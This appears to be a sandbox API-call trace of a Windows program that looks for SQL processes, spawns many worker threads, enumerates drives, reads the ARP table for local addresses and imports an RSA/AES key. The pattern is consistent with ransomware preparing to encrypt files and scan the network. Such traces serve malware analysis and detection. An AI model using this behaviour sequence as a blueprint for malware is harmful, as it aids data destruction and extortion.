	[0092.645] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0092.645] StrStrIW (lpFirst="svchost.exe", lpSrch="sql") returned 0x0
	[0092.645] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="atddpg.exe")) returned 1
	[0092.646] StrStrIW (lpFirst="atddpg.exe", lpSrch="sql") returned 0x0
	[0092.646] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1
	[0092.646] StrStrIW (lpFirst="TrustedInstaller.exe", lpSrch="sql") returned 0x0
	[0092.646] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1
	[0092.647] StrStrIW (lpFirst="TiWorker.exe", lpSrch="sql") returned 0x0
	[0092.647] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0092.671] StrStrIW (lpFirst="sppsvc.exe", lpSrch="sql") returned 0x0
	[0092.671] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0092.671] StrStrIW (lpFirst="conhost.exe", lpSrch="sql") returned 0x0
	[0092.671] Process32NextW (in: hSnapshot=0x1b0, lppe=0x136f7b0 | out: lppe=0x136f7b0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0092.672] CloseHandle (hObject=0x1b0) returned 1
	[0092.672] GetProcessHeap () returned 0x1720000
	[0092.672] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x88) returned 0x1731248
	[0092.672] CreateIoCompletionPort (FileHandle=0xffffffff, ExistingCompletionPort=0x0, CompletionKey=0x0, NumberOfConcurrentThreads=0x20) returned 0x1b0
	[0092.672] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4
	[0092.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8
	[0092.673] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc
	[0092.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8
	[0092.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc
	[0092.674] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0
	[0092.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4
	[0092.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8
	[0092.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc
	[0092.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0
	[0092.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4
	[0092.677] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8
	[0092.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec
	[0092.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0
	[0092.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4
	[0092.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8
	[0092.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fc
	[0092.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x200
	[0092.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x204
	[0092.681] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208
	[0092.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20c
	[0092.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x210
	[0092.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x214
	[0092.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218
	[0092.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0092.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x220
	[0092.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x224
	[0092.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x228
	[0092.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22c
	[0092.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x230
	[0092.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x234
	[0092.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb5ce2, lpParameter=0x1731248, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x238
	[0092.687] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5
	[0092.687] GetProcessHeap () returned 0x1720000
	[0092.687] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa) returned 0x1734248
	[0092.687] GetLogicalDriveStringsW (in: nBufferLength=0xa, lpBuffer=0x1734248 | out: lpBuffer="C:\\") returned 0x4
	[0092.687] lstrlenW (lpString="C:\\") returned 3
	[0092.687] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0092.687] GetProcessHeap () returned 0x1720000
	[0092.687] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x10c) returned 0x17320b0
	[0092.688] lstrcpyW (in: lpString1=0x17320b4, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0092.688] lstrlenW (lpString="") returned 0
	[0092.688] GetProcessHeap () returned 0x1720000
	[0092.688] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734248 | out: hHeap=0x1720000) returned 1
	[0092.688] GetProcessHeap () returned 0x1720000
	[0092.688] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4) returned 0x17384b8
	[0092.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb57fe, lpParameter=0x17320b4, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23c
	[0092.688] GetIpNetTable (in: IpNetTable=0x0, SizePointer=0x136fadc, Order=0 | out: IpNetTable=0x0, SizePointer=0x136fadc) returned 0x7a
	[0092.967] GetProcessHeap () returned 0x1720000
	[0092.967] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x18c) returned 0x17335c0
	[0092.967] GetIpNetTable (in: IpNetTable=0x17335c0, SizePointer=0x136fadc, Order=0 | out: IpNetTable=0x17335c0, SizePointer=0x136fadc) returned 0x0
	[0092.968] InetNtopW (in: Family=2, pAddr=0x136fad4, pStringBuf=0x136f9cc, StringBufSize=0x82 | out: pStringBuf="224.0.0.22") returned="224.0.0.22"
	[0092.968] GetProcessHeap () returned 0x1720000
	[0092.968] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8c) returned 0x1734290
	[0092.968] lstrcpyW (in: lpString1=0x1734290, lpString2="224.0.0.22" | out: lpString1="224.0.0.22") returned="224.0.0.22"
	[0092.968] InetNtopW (in: Family=2, pAddr=0x136fad4, pStringBuf=0x136f9cc, StringBufSize=0x82 | out: pStringBuf="239.255.255.250") returned="239.255.255.250"
	[0092.968] GetProcessHeap () returned 0x1720000
	[0092.968] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8c) returned 0x1733dd0
	[0092.968] lstrcpyW (in: lpString1=0x1733dd0, lpString2="239.255.255.250" | out: lpString1="239.255.255.250") returned="239.255.255.250"
	[0092.968] InetNtopW (in: Family=2, pAddr=0x136fad4, pStringBuf=0x136f9cc, StringBufSize=0x82 | out: pStringBuf="192.168.0.1") returned="192.168.0.1"
	[0092.969] GetProcessHeap () returned 0x1720000
	[0092.969] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8c) returned 0x17337d0
	[0092.969] lstrcpyW (in: lpString1=0x17337d0, lpString2="192.168.0.1" | out: lpString1="192.168.0.1") returned="192.168.0.1"
	[0092.969] InetNtopW (in: Family=2, pAddr=0x136fad4, pStringBuf=0x136f9cc, StringBufSize=0x82 | out: pStringBuf="192.168.0.255") returned="192.168.0.255"
	[0092.969] GetProcessHeap () returned 0x1720000
	[0092.969] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8c) returned 0x1733930
	[0092.969] lstrcpyW (in: lpString1=0x1733930, lpString2="192.168.0.255" | out: lpString1="192.168.0.255") returned="192.168.0.255"
	[0092.969] InetNtopW (in: Family=2, pAddr=0x136fad4, pStringBuf=0x136f9cc, StringBufSize=0x82 | out: pStringBuf="224.0.0.22") returned="224.0.0.22"
	[0092.969] GetProcessHeap () returned 0x1720000
	[0092.969] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8c) returned 0x17339c8
	[0092.969] lstrcpyW (in: lpString1=0x17339c8, lpString2="224.0.0.22" | out: lpString1="224.0.0.22") returned="224.0.0.22"
	[0092.969] InetNtopW (in: Family=2, pAddr=0x136fad4, pStringBuf=0x136f9cc, StringBufSize=0x82 | out: pStringBuf="255.255.255.255") returned="255.255.255.255"
	[0092.969] GetProcessHeap () returned 0x1720000
	[0092.969] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8c) returned 0x1733bb8
	[0092.969] lstrcpyW (in: lpString1=0x1733bb8, lpString2="255.255.255.255" | out: lpString1="255.255.255.255") returned="255.255.255.255"
	[0092.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x254
	[0092.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0092.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0092.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0092.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0092.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x268
	[0092.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x26c
	[0092.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0092.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x274
	[0092.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x278
	[0092.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x27c
	[0092.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x280
	[0092.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x284
	[0092.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x288
	[0092.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x28c
	[0092.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x290
	[0092.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294
	[0092.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x298
	[0092.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x29c
	[0092.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a0
	[0092.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a4
	[0092.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a8
	[0092.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac
	[0092.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0
	[0092.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4
	[0092.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8
	[0092.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc
	[0092.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0092.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0092.984] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8
	[0092.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0092.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xb2a43, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0092.986] WaitForMultipleObjects (nCount=0x20, lpHandles=0x136fa50*=0x254, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0124.388] GetProcessHeap () returned 0x1720000
	[0124.388] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17335c0 | out: hHeap=0x1720000) returned 1
	[0124.388] WaitForMultipleObjects (nCount=0x1, lpHandles=0x17384b8*=0x23c, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0
	[0147.873] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.873] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.873] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.873] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.873] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.873] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.873] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x29a, lpOverlapped=0x0) returned 1
	[0147.874] WaitForMultipleObjects (nCount=0x20, lpHandles=0x1731250*=0x1b4, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0x10f8


Thread:
	id = 145
	os_tid = 0x12a4

	[0092.727] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0x5c40000
	[0092.728] CryptAcquireContextA (in: phProv=0x34ffae0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x34ffae0*=0x1733ae8) returned 1
	[0093.032] CryptImportKey (in: hProv=0x1733ae8, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x34ffadc | out: phKey=0x34ffadc*=0x173aad0) returned 1
	[0093.034] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x34ffad4, lpCompletionKey=0x34ffad8, lpOverlapped=0x34ffae4) returned 1
